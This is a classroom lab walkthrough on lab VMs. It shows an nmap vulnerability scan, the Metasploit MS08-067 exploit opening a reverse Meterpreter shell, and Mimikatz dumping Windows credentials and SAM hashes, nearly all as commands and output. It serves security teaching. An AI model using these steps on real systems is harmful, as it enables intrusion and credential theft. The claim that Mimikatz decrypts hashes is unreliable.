

Lab – Password Cracking Using Mimikatz

Overview

In this lab, the student will learn how to crack cleartext password from a Windows client using Mimikatz. Mimikatz has become an extremely effective attack tool against Windows clients, allowing bad actors to retrieve cleartext passwords, as well as password hashes from memory. This lab will provide an overview of Mimikatz's capabilities and payload vectors.

Hardware requirements

- Virtual install of Kali up and running (attacker)
- Virtual install of Windows XP Pro SP2 (victim)
- Both machines up and running and with connectivity between each.

To begin this lab, we will need an active Meterpreter session between Kali and the victim.

Begin the lab!

Open a terminal in Kali. At the prompt launch the Metasploit console.

Using the Nmap scripting engine, you can use the vulnerability scan script to check the first 1000 ports for known vulnerabilities.

Type the following command at the terminal prompt:

```
nmap -Pn --script vuln <IP address >
```

My victims network IP range is 192.168.145.0/24 Yours may differ. I Got the range from doing an IFCONFIG from my Kali terminal. I took the first three octets of my IP address assigned to my Kali machine, and that is my network IP. By giving the last (4th) octet a value of zero followed by the CIDR notation of /24, I am telling Nmap to scan all 255 IP address possible for this network.

I'm treating this as if I am looking for a victim. From my scan results, I see that there is a machine that is vulnerable to the ms08_067_netapi exploit.

```
root@kali: ~  
File Edit View Search Terminal Help  
msf> nmap -Pn --script vuln 192.168.145.0/24  
[*] exec: nmap -Pn --script vuln 192.168.145.0/24  
root@kali:~#  
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-13 22:04 EDT

|_ smb-vuln-ms08-067:  
|   VULNERABLE:  
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)  
|   State: VULNERABLE  
|   IDs: CVE:CVE-2008-4250  
|         The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,  
|         Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary  
|         code via a crafted RPC request that triggers the overflow during path canonicalization.
```

I've gotten enough information from the results, but I can still drill into this machine and identify specifically what the machines' operating system and service pack are.

Type the following command:

```
nmap --script smb-os-discovery.nse -p445 192.168.145.129
```

From my first scan, I learned that a machine, 192.168.145.129; was vulnerable using an SMB exploit running on port 445. I scanned for the operating system information using another Nmap script specifically targeting port 445 for the operating system information.

```
root@kali: ~  
File Edit View Search Terminal Help

msf >
```

The first thing we need to do is get a Meterpreter session going. We have identified our victim is having an SMB vulnerability using port 445 and Nmap has told us, the vulnerability is identified as ms08_067_netapi. We now must search Metasploit for an exploit that can take advantage of the vulnerability.

At the msf prompt type: **search ms08_067**

```
root@kali: ~  
File Edit View Search Terminal Help  
msf > search ms08_067  
[!] Module database cache not built yet, using slow search  
Matching Modules  
=====
```

Name	Disclosure Date	Rank	Description
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	MS08-067 Microsoft Server Service Relative Path Stack Corruption

```
msf >
```

We see that there is an exploit we can use, with **use** being the optimal word. Highlight just the name of the exploit in the search results. At the msf prompt, type the word **use** followed by one single space. Place your cursor in the terminal window and right click and select paste.

```
msf > use exploit/windows/smb/ms08_067_netapi
```

Hit enter. Note the change in the prompt.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > █
```

At the prompt type: options

We need to set the IP address of the RHOST (victim).

At the prompt type: set RHOST < IP address>

For me, this command looks like this: set RHOST 192.168.145.129
(This is my victim's IP address, not yours! Yours will differ)

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.145.129
RHOST => 192.168.145.129
msf exploit(ms08_067_netapi) > █
```

We can launch the payload by using the **exploit** command.

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.145.129
RHOST => 192.168.145.129
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.145.177:4444

```

Success! We have our Meterpreter session.

Using Mimikatz to get the password in clear text

We load the Mimikatz tool onto the victim machine.

Type: load Mimikatz

```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter >
```

We can check the version by typing: `mimikatz_command -f version`

```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Apr 15 2017 03:53:23)
meterpreter > 
```

We can use the `help mimikatz` command to see what hash credentials we can retrieve in clear text. We'll retrieve the passwords for two sets of credentials later in the lab.

```
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Apr 15 2017 03:53:23)
meterpreter > help mimikatz

Mimikatz Commands
=====

Command      Description
-----
kerberos      Attempt to retrieve kerberos creds
livessp       Attempt to retrieve livessp creds
mimikatz_command Run a custom command
msv           Attempt to retrieve msv creds (hashes)
ssp           Attempt to retrieve ssp creds
tspkg         Attempt to retrieve tspkg creds
wdigest       Attempt to retrieve wdigest creds

meterpreter > 
```

We can get a complete list of the available modules by trying to load a non-existent feature.

Type: `mimikatz _command -f fu::`

```

meterpreter > mimikatz command -f fu::
Module : 'fu' introuvable

Modules disponibles :
  crypto - Cryptographie et certificats
  hash   - Hash
  system - Gestion système
  process - Manipulation des processus
  thread - Manipulation des threads
  service - Manipulation des services
  privilege - Manipulation des privilèges
  handle  - Manipulation des handles
  impersonate - Manipulation tokens d'accès
  winmine - Manipulation du domaine
  minesweeper - Manipulation du domaine 7
  nogpo   - Anti-gpo et patches divers
  samdump - Dump de SAM
  inject  - Injecteur de bibliothèques
  ts      - Terminal Server
  divers  - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
  sekurlsa - Dump des sessions courantes par providers LSASS
  efs     - Manipulations EFS

```

Reading Hashes and Passwords from Memory

All passwords stored on a Windows machine are stored using a hash value. Mimikatz takes the hash and decrypts it.

We can see both cleartext and hashed passwords with the Mimikatz tool.

With the MSV command, we see the hashed MSV credentials.

```

meterpreter > msv

0;999	NTLM	WORKGROUP	STUDENT-A50E9F8\$	
0;58608	NTLM	STUDENT-A50E9F8	Administrator	password

```

meterpreter >

```

The most common use for Mimikatz is to dump the hashes from the SAM file. The Security Account Manager (SAM), often called the Security Accounts Manager, is a database file in Windows XP, Windows Vista, and Windows 7 that stores users' passwords. It can be used to authenticate local and remote users. Beginning with Windows 2000 SP4, Active Directory authenticates remote users.

Type: `mimikatz_command -f samdump::hashes`

```

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : student-a50e9f8
